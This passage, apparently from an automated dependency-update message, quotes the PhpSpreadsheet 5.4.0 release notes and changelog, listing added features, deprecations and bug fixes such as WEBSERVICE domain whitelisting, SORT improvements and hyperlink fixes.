href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-01-10 - 5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/48f2fe37d64c2dece0ef71fb2ac55497566782af\"\u003e\u003ccode\u003e48f2fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca 